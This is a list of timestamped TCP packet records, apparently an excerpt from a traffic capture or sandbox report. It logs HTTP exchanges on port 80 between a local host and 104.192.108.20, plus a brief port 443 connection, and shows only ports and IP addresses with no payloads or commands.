Oct 18, 2024 23:46:36.062642097 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.062654972 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.062654972 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.062664032 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.062689066 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.062834024 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.062844992 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.062854052 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.062896967 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.062999010 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.063107967 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.063117027 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.063126087 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.063134909 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.063143969 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.063144922 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.063158035 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.063163042 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.063174963 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.063493967 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.063503981 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.063514948 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.063525915 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.063535929 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.063545942 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.063577890 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.063954115 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.063963890 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.063975096 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.064003944 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.108874083 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.128233910 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.128417015 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.128427029 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.128436089 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.128446102 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.128456116 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.128467083 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.128467083 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.128478050 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.128488064 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.128498077 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.128498077 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.128509998 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.128513098 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.128520012 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.128530979 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.128535032 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.128541946 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.128550053 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.128567934 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.128593922 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.143207073 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143254042 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143306971 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.143336058 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143346071 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143356085 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143364906 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143374920 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143387079 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.143395901 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.143416882 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.143604040 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143615961 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143625021 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143635035 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143660069 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.143676043 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.143832922 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143943071 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143950939 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143968105 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143976927 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.143985987 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.144011974 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.144068956 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.144107103 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.144215107 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.144668102 CEST	443	49824	184.28.90.27	192.168.2.5
Oct 18, 2024 23:46:36.144740105 CEST	49824	443	192.168.2.5	184.28.90.27
Oct 18, 2024 23:46:36.144872904 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.144918919 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.144920111 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.144932032 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.144968033 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.145030022 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.145040035 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.145072937 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.145087004 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.145097971 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.145107031 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.145138025 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.145554066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.145565033 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.145574093 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.145613909 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.149425030 CEST	49824	443	192.168.2.5	184.28.90.27
Oct 18, 2024 23:46:36.149447918 CEST	443	49824	184.28.90.27	192.168.2.5
Oct 18, 2024 23:46:36.149869919 CEST	443	49824	184.28.90.27	192.168.2.5
Oct 18, 2024 23:46:36.175098896 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175108910 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175123930 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175133944 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175173044 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.175210953 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.175304890 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175316095 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175324917 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175374985 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.175441027 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175451994 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175461054 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175489902 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.175507069 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175517082 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175519943 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.175571918 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.175755024 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175767899 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175779104 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175812960 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.175878048 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175889015 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.175925016 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.176126957 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.176136971 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.176151991 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.176161051 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.176168919 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.176173925 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.176184893 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.176196098 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.176202059 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.176211119 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.176223040 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.176235914 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.176603079 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.176613092 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.176621914 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.176656008 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.176686049 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.183037996 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.183048964 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.183058977 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.183070898 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.183080912 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.183099031 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.183134079 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.183249950 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.183259964 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.183271885 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.183280945 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.183290958 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.183312893 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.183339119 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.183989048 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.183999062 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.184009075 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.184017897 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.184029102 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.184039116 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.184050083 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.184056997 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.184063911 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.184075117 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.184084892 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.184089899 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.184091091 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.184103012 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.184108973 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.184123039 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.184135914 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.191025972 CEST	49824	443	192.168.2.5	184.28.90.27
Oct 18, 2024 23:46:36.231435061 CEST	443	49824	184.28.90.27	192.168.2.5
Oct 18, 2024 23:46:36.247874022 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.247884035 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.247894049 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.247934103 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.248002052 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.248051882 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.248080015 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.248091936 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.248106956 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.248116970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.248131990 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.248156071 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.248163939 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.248173952 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.248183012 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.248193026 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.248203039 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.248214006 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.248239040 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.248543978 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.248554945 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.248564005 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.248574018 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.248594999 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.248621941 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.262904882 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.262914896 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.262924910 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.262970924 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.262981892 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.262991905 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.263010979 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.263048887 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.263207912 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.263219118 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.263230085 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.263262033 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.263276100 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.263333082 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.263344049 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.263401031 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.263551950 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.263727903 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.263737917 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.263773918 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.263808012 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.263818979 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.263828993 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.263866901 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.264534950 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.264544964 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.264556885 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.264568090 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.264580011 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.264592886 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.264617920 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.264713049 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.264725924 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.264812946 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.265050888 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.265062094 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.265072107 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.265130997 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.265444040 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.265454054 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.265501022 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.294872046 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.294884920 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.294894934 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.294946909 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.295018911 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295031071 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295068979 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.295094967 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295105934 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295145035 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.295289993 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295300007 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295310974 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295341015 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.295360088 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.295484066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295495033 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295506001 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295572042 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.295619011 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295630932 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295641899 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295670033 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.295690060 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.295857906 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295869112 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295880079 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295906067 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.295916080 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295927048 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295937061 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.295983076 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.296401978 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.296412945 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.296423912 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.296458960 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.296483994 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.296495914 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.296508074 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.296546936 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.303447962 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.303467035 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.303476095 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.303505898 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.303617954 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.303628922 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.303637981 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.303647995 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.303658009 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.303667068 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.303678036 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.303684950 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.303689003 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.303699970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.303709030 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.303711891 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.303723097 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.303741932 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.304167032 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.304177046 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.304193974 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.304205894 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.304217100 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.304219007 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.304229021 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.304234982 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.304241896 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.304255009 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.304260969 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.304265976 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.304280043 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.304290056 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.304290056 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.304301977 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.304341078 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.367863894 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.367876053 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.367885113 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.367933989 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.368004084 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.368015051 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.368024111 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.368032932 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.368042946 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.368052006 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.368053913 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.368062973 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.368069887 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.368074894 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.368084908 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:36.368084908 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:36.368098021 CEST	80	49795	104.192.108.20	192.168.2.5
